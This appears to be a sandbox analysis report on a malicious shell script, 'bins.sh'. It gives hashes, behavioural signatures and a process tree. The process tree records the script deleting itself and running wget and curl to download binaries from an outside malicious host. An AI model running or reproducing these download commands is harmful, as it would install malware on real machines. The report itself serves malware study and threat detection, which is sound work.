Analysis
-
max time kernel
148s -
max time network
28s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
27-10-2024 03:07
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
4ea5706fdd75f148d2bf38bc0ca8bf54
-
SHA1
57a2af30643d8facb455bb90086386308bdbb582
-
SHA256
6984b6d84c72c16fe2e373f060552fb6c17fb0c2d30546d2f5cd9b47e60dcaa5
-
SHA512
a5c858e9af5b42bd2697b799f540c3b6530a4ec5380ce173d60ec5beca09f09415ee0d614f4aa71a45fc2bb557c8293c214856b055e07317d64045d5959448f3
-
SSDEEP
96:YmWF4N4N4fw0n3LiLBoBkBoiYo75v5D5oP3uZLCaLsLJ6JyJDyunue0EQEMEQddm:yW8Q137Qdd3Ak8YHqa437Qddv8YHqa56
Malware Config
Signatures
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
curldescription ioc process File opened for reading /proc/cpuinfo curl -
Processes:
curldescription ioc process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:662
-
/bin/rm/bin/rm bins.sh2⤵PID:664
-
/usr/bin/wgetwget http://conn.masjesu.zip/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ2⤵
- System Network Configuration Discovery
PID:666 -
/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
PID:675